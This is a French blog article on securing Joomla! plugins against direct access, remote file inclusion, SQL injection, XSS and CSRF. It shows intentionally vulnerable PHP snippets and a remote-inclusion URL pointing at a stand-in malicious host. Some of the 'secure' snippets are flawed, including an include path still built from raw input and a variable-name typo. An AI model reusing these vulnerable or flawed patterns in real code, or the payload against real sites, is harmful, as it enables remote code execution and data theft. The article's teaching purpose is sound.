Si vous développez des plugins sous Joomla! que vous partagez avec la communauté du CMS, vous devez savoir qu’un plugin fonctionnel n’est pas toujours un plugin sécurisé.

Même si Joomla! est de base très sécurisé, les plugins créés par des tiers le sont bien moins que les composants de base du CMS. En tant que développeur vous avez donc une responsabilité auprès des utilisateurs de vos plugins, à penser à bien sécuriser vos plugins pour ne pas laisser une porte ouverte aux « hackers » qui pourraient ruiner les sites web de vos utilisateurs.

Dans cet article, nous allons donc voir les sécurités à mettre en place lorsque vous développez vos plugins.

Sécurisez vos plugins contre les accès directs

Lorsque vous développez un plugin pour Joomla! vous avez certainement en tête que ce sera le travail du CMS de gérer vos fichiers et de les appeler au besoin. Pour vous, vos composants seront appelés à partir de cette url par Joomla! :

http://www.example.com/index.php?option=com_yourcomponent

Cependant, ce que vous pourriez oublier c’est que l’on peut aussi accéder aux fichiers d’un composant directement, sans passer par la gestion personnalisée de Joomla!. On peut accéder directement à un fichier d’un composant en renseignant, par exemple, l’url suivant :

http:/ /www.example.com/components/com_yourcomponent/yourcomponent.php

Cela peut être très dangereux si votre fichier PHP contient autre chose que des classes ou fonctions. Si celui-ci exécute du code alors le « hacker » aura probablement en retour un tas de messages d’erreurs mais aussi accès à d’importants détails sur votre système.
Il pourrait aussi par ailleurs exécuter n’importe quel code qu’il souhaiterait sur votre site.

Pour parer à cette éventualité vous devez ajouter, au début de chacun de vos fichiers PHP qui exécutent du code, les lignes de code suivants :

// no direct access defined('_JEXEC') or die('Restricted access');

Sécurisez vos plugins contre l’inclusion de fichiers à distance

Lorsque dans votre plugin Joomla! vous souhaitez faire appel à un fichier de votre composant vous pourriez être amené à le faire de la manière suivante :

$layout = $_GET['layout'];include($layout);

Le problème avec cette méthode est que n’importe qui peut injecter un fichier dans votre système sans se faire bloquer en modifiant simplement l’url de cette manière :

http://www.example.com/com_yourcomponent/views/yourcomponent?layout=http://www.bad.site/bad.gif

En faisant cela un code PHP pourrait être exécuté sur votre serveur. C’est ce qu’on appelle l’inclusion de fichiers à distance.

Pour sécuriser complètement votre système contre ce genre d’attaque vous devez mettre en place 2 méthodes complémentaires.

1. Indiquez l’emplacement du fichier

Utilisez les constantes, non manipulables « JPATH_SITE » ou « JPATH_ADMINISTRATOR» pour cibler la racine de votre système et indiquez l’emplacement du fichier que vous souhaitez appeler à travers une variable de cette manière :

$layout = $_GET['layout'];include(JPATH_SITE. '/components/com_yourcomponent/views/tmpl/'.$layout );

ou

include(JPATH_ADMINISTRATOR. '/components/com_yourcomponent/views/tmpl/'.$layout );

2. Sécurisez vos input

Sécurisez vos entrées (input) en utilisant la classe Joomla! « JInput », plutôt que « $_GET » ou « $_POST », qui appliquent des filtres aux entrées de vos composants :

$jinput = JFactory::getApplication()->input;$layout = $jinput->get('layout','default');include(JPATH_SITE. '/components/com_yourcomponent/views/tmpl/'.$layout );

Sécuriser vos plugins contre les injections SQL

Les injections SQL sont très dangereuses car elles pourraient permettre à un individu malintentionné de modifier ou récupérer les données de votre base de données. Tout cela à cause d’entrées utilisateur mal sécurisées.

Pour sécuriser votre système contre ce type d’attaque vous devez vérifier toutes les données passées à travers les entrées utilisateurs avant de les utiliser dans une requête SQL.

Vous devrez vérifier chaque donnée de type « string » avec ce code :

$db = JFactory::getDBO();$string = $db->escape( $string );

Et chaque donnée de type « int » avec celui-ci avant de les utiliser dans vos requêtes SQL :

$value = intval( $value );

Sécurisez vos plugins contre les attaques XSS

Les attaques XSS (Cross Site Scripting) consistent à exécuter un script (par exemple en JavaScript) dans le navigateur d’un visiteur. Cela permettant par exemple de voler la session en cookie d’un utilisateur et donc l’attaquant pourrait se faire passer pour un utilisateur connecté, ce qui peut être très dangereux.

Pour ne pas subir l’exécution d’un script inconnu évitez d’utiliser dans vos plugins ce genre de code :

echo $_REQUEST['value'];

Lorsque vous donnez la possibilité à un utilisateur de renseigner des données veillez toujours à utiliser un « JInput », vu précédemment, en entrée pour sécuriser les données entrant dans votre système. Plutôt que le code juste au-dessus, on préfèrera alors le code suivant :

$jinput = JFactory::getApplication()->input;$value = $Jinput->get('value','','html');echo $value;

Sécurisez vos plugins contre les attaques Cross-Site Request Forgery

Prenons par exemple le cas d’un administrateur de forum, celui-ci est actuellement connecté sur son compte administrateur et reçoit un message sur son réseau social préféré contenant une image. L’administrateur en question essai d’ouvrir l’image mais son navigateur lui indique ne pas réussir à lire les données de l’image. Cela est tout à fait normal car l’image dissimulait un script qui, lorsque l’image serait ouverte, allait supprimer un message sur le forum grâce à la session, et les droits d’accès, de l’administrateur.

Sans qu’il ne s’en rende compte, quelqu’un a utilisé la session de l’administrateur pour modifier une donnée sur le forum. Ici un message, mais cela aurait pu être bien plus grave.

Pour protéger vos plugins contre ce genre d’attaque, vous devrez toujours inclure un token dans les formulaires que votre plugin utilise :

<?php echo JHTML::_( 'form.token' ); ?>

Ensuite, avant que votre plugin ne fasse quelque chose de dangereux, comme la suppression d’une donnée, vous recherchez un token valide :

JSession::checkToken() or jexit( 'Invalid Token' );

Que faire si vous découvrez un problème de sécurité dans votre plugin ?

De temps en temps vous découvrirez des problèmes de sécurité dans votre code ou bien quelqu’un aura signalé un problème soit directement à vous, soit sur la liste des vulnérabilités de plugins de Joomla! (VEL) ou sur tout autre site de sécurité similaire.

Lorsque cela arrive à l’un de vos plugins Joomla!, en tant que développeur responsable, vous devrez :

1. Corriger votre code.
2. Notifier les utilisateurs de votre plugin de le mettre à jour, après l’avoir corrigé.
3. Informer la « Joomla! Vulnerable Extensions List » (VEL) sur https://vel.joomla.org/ que vous avez apporter une correction à votre plugin.

Un problème de sécurité ça arrive, ne vous inquiétez pas, cela fait partie du processus de développement de n’importe quel programme.

Si vous avez un plugin que vous n’arrivez pas à sécuriser ou un problème de sécurité à corriger, n’hésitez pas à poster une annonce gratuite sur Codeur.com pour trouver rapidement l’aide d’un freelance expert en développement pour Joomla!.